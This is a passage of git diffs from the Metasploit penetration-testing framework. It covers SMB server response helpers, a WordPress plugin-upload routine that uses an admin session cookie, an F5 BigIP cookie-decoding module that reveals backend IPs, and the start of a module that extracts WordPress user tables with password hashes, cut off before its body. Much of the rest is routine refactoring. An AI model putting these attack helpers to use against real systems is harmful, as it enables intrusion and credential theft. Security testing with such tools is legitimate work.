find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
send_trans2_res(c, trans2_params, find_file)
end
def send_find_file_names_info_res(c, opts = {})
data = opts[:data] || ''
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = 1
trans2_params.v['EndOfSearch'] = 1
trans2_params.v['EaErrorOffset'] = 0
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
def send_find_full_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
end
end
end
end
end

View File

@ -0,0 +1,184 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
# This mixin provides methods to handle TRAN2_QUERY_PATH_INFORMATION subcommands
module Query
#
# Responds to QUERY_PATH_INFO (Basic) requests
#
def smb_cmd_trans_query_file_info_basic(c, fid)
smb = @state[c]
if fid.eql?smb[:file_id].to_i
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File attributes => file
elsif fid.nil? || fid.empty? || fid == "\x00" # empty path
# QUERY_PATH_INFO_PARAMETERS doesn't include a file name, return a Directory answer
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY # File attributes => directory
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
return
end
send_info_basic_res(c, { file_attributes: attrib })
end
# shortcut, we only have one file....
def smb_cmd_trans_query_file_info_standard(c, fid)
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: 0,
end_of_file: exe_contents.length
})
end
#
# Responds to QUERY_PATH_INFO (Basic) requests
#
def smb_cmd_trans_query_path_info_basic(c, path)
if path && path.ends_with?(file_name) #TODO: do it better
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path.ends_with?(file_name + '.Local')
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path == path_name
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
return
end
send_info_basic_res(c, { file_attributes: attrib })
end
#
# Responds to QUERY_PATH_INFO (Standard) requests
#
# At the moment we just support '\\' path always send a SUCCESS...
def smb_cmd_trans_query_path_info_standard(c, path)
puts "[smb_cmd_trans_query_path_info_standard] #{path}"
if path && path.include?(file_name) #TODO: do it better
attrib = 0 # File attributes => file
elsif path && path == path_name
attrib = 1 # File attributes => directory
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = 1 # File attributes => directory
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
return
end
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: attrib,
end_of_file: exe_contents.length
})
end
#
# Responds to QUERY_PATH_INFO (Network Open) requests
#
# At the moment we just support '\\' path always send a SUCCESS...
def smb_cmd_trans_query_path_info_network(c, path)
if path && path.include?(file_name) #TODO: do it better
attrib = 0 # File attributes => file
elsif path && path == path_name
# QUERY_PATH_INFO_PARAMETERS doesn't include a file name, return a Directory answer
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY # File attributes => directory
elsif path.nil? || path.empty? || path == "\x00" # empty path
# QUERY_PATH_INFO_PARAMETERS doesn't include a file name, return a Directory answer
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY # File attributes => directory
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
return
end
send_info_network_res(c, {
allocation_size: 1048576,
end_of_file: exe_contents.length,
file_attributes: attrib
})
end
def send_info_basic_res(c, opts = {})
file_attributes = opts[:file_attributes] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
end
def send_info_standard_res(c, opts = {})
allocation_size = opts[:allocation_size] || 0
number_links = opts[:number_links] || 0
delete_pending = opts[:delete_pending] || 0
directory = opts[:directory] || 0
end_of_file = opts[:end_of_file] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['NumberOfLinks'] = number_links
query_path_info.v['DeletePending'] = delete_pending
query_path_info.v['Directory'] = directory
send_trans2_res(c, trans2_params, query_path_info)
end
def send_info_network_res(c, opts= {})
allocation_size = opts[:allocation_size] || 0
end_of_file = opts[:end_of_file] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
end
end
end
end
end
end

View File

@ -172,11 +172,11 @@ module ReverseHttp
end
#
# Removes the / handler and stop the service.
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
self.service.remove_resource("/") if self.service
self.service.stop
end
attr_accessor :service # :nodoc:

View File

@ -68,7 +68,7 @@ module LDAP
0x02 => 'LDAP_PROTOCOL_ERROR',
0x0a => 'LDAP_REFERRAL',
0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED',
0x09 => 'LDAP_REFERRAL_V2',
# 0x09 => 'LDAP_REFERRAL_V2', alias for LDAP_PARTIAL_RESULTS
0x46 => 'LDAP_RESULTS_TOO_LARGE',
0x51 => 'LDAP_SERVER_DOWN',
0x04 => 'LDAP_SIZELIMIT_EXCEEDED',

View File

@ -31,7 +31,7 @@ class Client
def login(user,pass)
res = self.call("auth.login", user, pass)
if(not (res and res['result'] == "success"))
unless (res && res['result'] == "success")
raise RuntimeError, "authentication failed"
end
self.token = res['token']
@ -41,8 +41,8 @@ class Client
# Prepend the authentication token as the first parameter
# of every call except auth.login. Requires the
def call(meth, *args)
if(meth != "auth.login")
if(not self.token)
unless meth == "auth.login"
unless self.token
raise RuntimeError, "client not authenticated"
end
args.unshift(self.token)
@ -50,7 +50,7 @@ class Client
args.unshift(meth)
if not @cli
unless @cli
@cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version])
@cli.set_config(
:vhost => info[:host],
@ -69,10 +69,10 @@ class Client
res = @cli.send_recv(req)
@cli.close
if res and [200, 401, 403, 500].include?(res.code)
if res && [200, 401, 403, 500].include?(res.code)
resp = MessagePack.unpack(res.body)
if resp and resp.kind_of?(::Hash) and resp['error'] == true
if resp && resp.kind_of?(::Hash) && resp['error']
raise Msf::RPC::ServerException.new(resp['error_code'] || res.code, resp['error_message'] || resp['error_string'], resp['error_class'], resp['error_backtrace'])
end
@ -83,7 +83,7 @@ class Client
end
def close
if @cli and @cli.conn?
if @cli && @cli.conn?
@cli.close
end
@cli = nil

View File

@ -112,13 +112,13 @@ class Service
end
end
if not (req.headers["Content-Type"] and req.headers["Content-Type"] == "binary/message-pack")
unless (req.headers["Content-Type"] && req.headers["Content-Type"] == "binary/message-pack")
raise ArgumentError, "Invalid Content Type"
end
msg = MessagePack.unpack(req.body)
if not (msg and msg.kind_of?(::Array) and msg.length > 0)
unless (msg && msg.kind_of?(::Array) && msg.length > 0)
raise ArgumentError, "Invalid Message Format"
end
@ -126,7 +126,7 @@ class Service
group, funct = msg.shift.split(".", 2)
if not self.handlers[group]
unless self.handlers[group]
raise ArgumentError, "Unknown API Group: '#{group.inspect}'"
end
@ -138,13 +138,13 @@ class Service
mname << '_noauth'
end
if not self.handlers[group].respond_to?(mname)
unless self.handlers[group].respond_to?(mname)
raise ArgumentError, "Unknown API Call: '#{mname.inspect}'"
end
if doauth
token = msg.shift
if not authenticate(token)
unless authenticate(token)
raise ::Msf::RPC::Exception.new(401, "Invalid Authentication Token")
end
end
@ -203,7 +203,7 @@ class Service
stale = []
if not (token and token.kind_of?(::String))
unless (token && token.kind_of?(::String))
return false
end
@ -212,17 +212,17 @@ class Service
self.tokens.each_key do |t|
user,ctime,mtime,perm = self.tokens[t]
if ! perm and mtime + self.token_timeout < Time.now.to_i
if !perm && mtime + self.token_timeout < Time.now.to_i
stale << t
end
end
stale.each { |t| self.tokens.delete(t) }
if not self.tokens[token]
unless self.tokens[token]
begin
if framework.db.active and ::Mdm::ApiKey.find_by_token(token)
if framework.db.active && ::Mdm::ApiKey.find_by_token(token)
return true
end
rescue ::Exception => e

View File

@ -4,6 +4,7 @@
module Msf
module HTTP
module Wordpress
require 'msf/http/wordpress/admin'
require 'msf/http/wordpress/base'
require 'msf/http/wordpress/helpers'
require 'msf/http/wordpress/login'
@ -14,6 +15,7 @@ module Msf
require 'msf/http/wordpress/xml_rpc'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress::Admin
include Msf::HTTP::Wordpress::Base
include Msf::HTTP::Wordpress::Helpers
include Msf::HTTP::Wordpress::Login

View File

@ -0,0 +1,43 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Admin
# Uploads a plugin using a valid admin session.
#
# @param name [String] The name of the plugin
# @param zip [String] The plugin zip file as a string
# @param cookie [String] A valid admin session cookie
# @return [Boolean] true on success, false on error
def wordpress_upload_plugin(name, zip, cookie)
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
if nonce.nil?
vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
return false
end
vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
data = Rex::MIME::Message.new
data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"')
data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"')
data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"")
data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"')
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_update,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'vars_get' => { 'action' => 'upload-plugin' }
)
if res && res.code == 200
vprint_status("#{peer} - Uploaded plugin #{name}")
return true
else
vprint_error("#{peer} - Server responded with code #{res.code}") if res
vprint_error("#{peer} - Failed to upload plugin #{name}")
return false
end
end
end

View File

@ -119,4 +119,21 @@ module Msf::HTTP::Wordpress::Helpers
path_from_uri(location)
end
# Helper method to retrieve a valid plugin upload nonce.
#
# @param cookie [String] A valid admin session cookie
# @return [String,nil] The nonce, nil on error
def wordpress_helper_get_plugin_upload_nonce(cookie)
uri = normalize_uri(wordpress_url_backend, 'plugin-install.php')
options = {
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => { 'tab' => 'upload' }
}
res = send_request_cgi(options)
if res && res.code == 200
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
end
end
end

View File

@ -87,6 +87,12 @@ module Msf::HTTP::Wordpress::URIs
normalize_uri(wordpress_url_backend, 'admin-post.php')
end
# Returns the Wordpress Admin Update URL
#
# @return [String] Wordpress Admin Update URL
def wordpress_url_admin_update
normalize_uri(wordpress_url_backend, 'update.php')
end
# Returns the Wordpress wp-content dir URL
#

View File

@ -92,8 +92,17 @@ module Msf::HTTP::Wordpress::Version
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
if res.nil? || res.code != 200
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no Readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
end
# try to extract version from readme
# Example line:

View File

@ -107,47 +107,48 @@ class Core
# Returns the list of commands supported by this command dispatcher
def commands
{
"?" => "Help menu",
"back" => "Move back from the current context",
"banner" => "Display an awesome metasploit banner",
"cd" => "Change the current working directory",
"connect" => "Communicate with a host",
"color" => "Toggle color",
"exit" => "Exit the console",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"get" => "Gets the value of a context-specific variable",
"getg" => "Gets the value of a global variable",
"go_pro" => "Launch Metasploit web GUI",
"grep" => "Grep the output of another command",
"help" => "Help menu",
"info" => "Displays information about one or more module",
"irb" => "Drop into irb scripting mode",
"jobs" => "Displays and manages jobs",
"kill" => "Kill a job",
"load" => "Load a framework plugin",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"quit" => "Exit the console",
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
"?" => "Help menu",
"back" => "Move back from the current context",
"banner" => "Display an awesome metasploit banner",
"cd" => "Change the current working directory",
"connect" => "Communicate with a host",
"color" => "Toggle color",
"exit" => "Exit the console",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"get" => "Gets the value of a context-specific variable",
"getg" => "Gets the value of a global variable",
"go_pro" => "Launch Metasploit web GUI",
"grep" => "Grep the output of another command",
"help" => "Help menu",
"info" => "Displays information about one or more module",
"irb" => "Drop into irb scripting mode",
"jobs" => "Displays and manages jobs",
"rename_job" => "Rename a job",
"kill" => "Kill a job",
"load" => "Load a framework plugin",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"quit" => "Exit the console",
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
"reload_all" => "Reloads all modules from all defined module paths",
"route" => "Route traffic through a session",
"save" => "Saves the active datastores",
"search" => "Searches module names and descriptions",
"sessions" => "Dump session listings and display information about sessions",
"set" => "Sets a context-specific variable to a value",
"setg" => "Sets a global variable to a value",
"show" => "Displays modules of a given type, or all modules",
"sleep" => "Do nothing for the specified number of seconds",
"threads" => "View and manipulate background threads",
"unload" => "Unload a framework plugin",
"unset" => "Unsets one or more context-specific variables",
"unsetg" => "Unsets one or more global variables",
"use" => "Selects a module by name",
"version" => "Show the framework and console library version numbers",
"spool" => "Write console output into a file as well the screen"
"route" => "Route traffic through a session",
"save" => "Saves the active datastores",
"search" => "Searches module names and descriptions",
"sessions" => "Dump session listings and display information about sessions",
"set" => "Sets a context-specific variable to a value",
"setg" => "Sets a global variable to a value",
"show" => "Displays modules of a given type, or all modules",
"sleep" => "Do nothing for the specified number of seconds",
"threads" => "View and manipulate background threads",
"unload" => "Unload a framework plugin",
"unset" => "Unsets one or more context-specific variables",
"unsetg" => "Unsets one or more global variables",
"use" => "Selects a module by name",
"version" => "Show the framework and console library version numbers",
"spool" => "Write console output into a file as well the screen"
}
end
@ -780,6 +781,50 @@ class Core
end
end
def cmd_rename_job_help
print_line "Usage: rename_job [ID] [Name]"
print_line
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
print_line
print_line "Rename a job that's currently active."
print_line "You may use the jobs command to see what jobs are available."
print_line
end
def cmd_rename_job(*args)
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
cmd_rename_job_help
return false
end
job_id = args[0].to_s
job_name = args[1].to_s
unless framework.jobs[job_id]
print_error("Job #{job_id} does not exist.")
return false
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
true
end
#
# Tab completion for the rename_job command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_rename_job_tabs(str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_jobs_help
print_line "Usage: jobs [options]"
print_line

View File

@ -674,6 +674,7 @@ class Db
print_line "General options"
print_line " -h,--help Show this help information"
print_line " -o <file> Send output to a file in csv format"
print_line " -d Delete one or more credentials"
print_line
print_line "Filter options for listing"
print_line " -P,--password <regex> List passwords that match this regex"
@ -701,6 +702,11 @@ class Db
print_line " # Add a user with an SSH key"
print_line " creds add-ssh-key root /root/.ssh/id_rsa"
print_line
print_line "Example, deleting:"
print_line " # Delete all SMB credentials"
print_line " creds -d -s smb"
print_line
end
# @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential`

View File

@ -18,7 +18,7 @@ end
class BoundsError < ElfError
end
class WtfError < ElfError
class ElfParseyError < ElfError
end
end

View File

@ -94,7 +94,7 @@ class JmpRegScanner < Generic
return 3
end
raise "wtf"
raise "Cannot read at offset: #{offset}"
end
def _parse_ret(data)
@ -136,7 +136,7 @@ class JmpRegScanner < Generic
message = "push #{regname}; " + _parse_ret(elf.read(offset+2, retsize))
offset += 2 + retsize
else
raise "wtf"
raise "Unexpected value at #{offset}"
end
else
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)

View File

@ -18,9 +18,6 @@ end
class BoundsError < MachError
end
#class WtfError < MachError
#end
class FatError < ::RuntimeError
end

View File

@ -125,7 +125,7 @@ class JmpRegScanner < Generic
message = "push #{regname}; " + _parse_ret(mach.read(offset+2, retsize))
offset += 2 + retsize
else
raise "wtf"
raise "Unexpected value at offset: #{offset}"
end
else
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)

View File

@ -21,7 +21,7 @@ end
class BoundsError < PeError
end
class WtfError < PeError
class PeParseyError < PeError
end
class SkipError < PeError

View File

@ -1196,7 +1196,7 @@ class PeBase
return section.rva_to_file_offset(rva)
end
end
raise WtfError, "wtf!", caller
raise PeParseyError, "No section contains RVA", caller
end
def vma_to_file_offset(vma)
@ -1205,7 +1205,7 @@ class PeBase
def file_offset_to_rva(foffset)
if foffset < 0
raise WtfError, "lame", caller
raise PeParseyError, "Offset should not be less than 0. The value is: #{foffset}", caller
end
all_sections.each do |section|
@ -1214,7 +1214,7 @@ class PeBase
end
end
raise WtfError, "wtf! #{foffset}", caller
raise PeParseyError, "No section contains file offset #{foffset}", caller
end
def file_offset_to_vma(foffset)
@ -1245,7 +1245,7 @@ class PeBase
section = _find_section_by_rva(rva)
if !section
raise WtfError, "Cannot find rva! #{rva}", caller
raise PeParseyError, "Cannot find rva! #{rva}", caller
end
return section

View File

@ -30,7 +30,7 @@ module Search
begin
buf = pe.read_rva(@address, suf)
rescue ::Rex::PeParsey::WtfError
rescue ::Rex::PeParsey::PeParseyError
return
end

View File

@ -81,7 +81,6 @@ class Server
"htm" => "text/htm",
"jpg" => "image/jpeg",
"jpeg" => "image/jpeg",
"jpeg" => "image/jpeg",
"gif" => "image/gif",
"png" => "image/png",
"bmp" => "image/bmp",

File diff suppressed because it is too large Load Diff

View File

@ -8,13 +8,13 @@ module Exceptions
class Error < ::RuntimeError
@@errors = {
0x00000000 => "STATUS_SUCCESS",
# 0x00000000 => "STATUS_SUCCESS",
0x00000000 => "STATUS_WAIT_0",
0x00000001 => "STATUS_WAIT_1",
0x00000002 => "STATUS_WAIT_2",
0x00000003 => "STATUS_WAIT_3",
0x0000003F => "STATUS_WAIT_63",
0x00000080 => "STATUS_ABANDONED",
# 0x00000080 => "STATUS_ABANDONED",
0x00000080 => "STATUS_ABANDONED_WAIT_0",
0x000000BF => "STATUS_ABANDONED_WAIT_63",
0x000000C0 => "STATUS_USER_APC",

View File

@ -281,7 +281,7 @@ class Rex::Socket::Comm::Local
raise ::Errno::ETIMEDOUT
end
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::ENOPROTOOPT
# Rescue errors caused by a bad Scope ID for a link-local address
if retry_scopes and @@ip6_lla_scopes[ ip6_scope_idx ]

View File

@ -1810,4 +1810,3 @@ protected
end
end

View File

@ -29,9 +29,9 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
# Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.19'
spec.add_runtime_dependency 'metasploit-credential', '~> 0.14.0'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.22.8'
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.23.0'
# depend on metasploit-framewrok as the optional gems are useless with the actual code
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
# Needed for module caching in Mdm::ModuleDetails

View File

@ -15,9 +15,16 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'F5 BigIP Backend Cookie Disclosure',
'Description' => %q{
This module identifies F5 BigIP load balancers and leaks backend
information through cookies inserted by the BigIP devices.
information (pool name, backend's IP address and port, routed domain)
through cookies inserted by the BigIP system.
},
'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>' ],
'Author' =>
[
'Thanat0s <thanspam[at]trollprod.org>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>',
'Denis Kolegov <dnkolegov[at]gmail.com>'
],
'References' =>
[
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
@ -34,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
end
def change_endianness(value, size=4)
conversion = value
conversion = nil
if size == 4
conversion = [value].pack("V").unpack("N").first
@ -46,21 +53,30 @@ class Metasploit3 < Msf::Auxiliary
end
def cookie_decode(cookie_value)
back_end = ""
if cookie_value =~ /(\d{8})\.(\d{5})\./
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
host = $1.to_i
port = $2.to_i
host = change_endianness(host)
host = Rex::Socket.addr_itoa(host)
port = change_endianness(port, 2)
back_end = "#{host}:#{port}"
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
host = Rex::Socket.addr_itoa(host)
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
host = Rex::Socket.addr_itoa(host, v6=true)
port = change_endianness(port, 2)
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
host = Rex::Socket.addr_itoa(host, v6=true)
elsif cookie_value =~ /!.{104}/
host = nil
port = nil
end
back_end
host.nil? ? nil : "#{host}:#{port}"
end
def get_cookie # request a page and extract a F5 looking cookie.
@ -71,13 +87,17 @@ class Metasploit3 < Msf::Auxiliary
})
unless res.nil?
# Get the SLB session ID, like "TestCookie=2263487148.3013.0000"
m = res.get_cookies.match(/([\-\w\d]+)=((?:\d+\.){2}\d+)(?:$|,|;|\s)/)
unless m.nil?
cookie[:id] = (m.nil?) ? nil : m[1]
cookie[:value] = (m.nil?) ? nil : m[2]
end
end
# Get the SLB session IDs for all cases:
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
cookie[:id] = m.nil? ? nil : m[1]
cookie[:value] = m.nil? ? nil : m[2]
end
cookie
end
@ -96,17 +116,26 @@ class Metasploit3 < Msf::Auxiliary
cookie = get_cookie() # Get the cookie
# If the cookie is not found, stop process
if cookie.empty? || cookie[:id].nil?
print_error("#{peer} - F5 Server load balancing cookie not found")
print_error("#{peer} - F5 BigIP load balancing cookie not found")
break
end
# Print the cookie name on the first request
if i == 0
print_status("#{peer} - F5 Server load balancing cookie \"#{cookie[:id]}\" found")
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
if cookie[:id].start_with?('BIGipServer')
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
end
if cookie[:value].start_with?('rd')
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
end
if cookie[:value].start_with?('!')
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
end
end
back_end = cookie_decode(cookie[:value])
unless back_ends.include?(back_end)
unless back_end.nil? || back_ends.include?(back_end)
print_status("#{peer} - Backend #{back_end} found")
back_ends.push(back_end)
end

View File

@ -0,0 +1,110 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'csv'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Ultimate CSV Importer User Table Extract',
'Description' => %q{
Due to lack of verification of a visitor's permissions, it is possible
to execute the 'export.php' script included in the default installation of the
Ultimate CSV Importer plugin and retrieve the full contents of the user table
in the WordPress installation. This results in full disclosure of usernames,
hashed passwords and email addresses for all users.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Hooker', # Disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['WPVDB', '7778']
],
'DisclosureDate' => 'Feb 02 2015'
))
end
def plugin_url
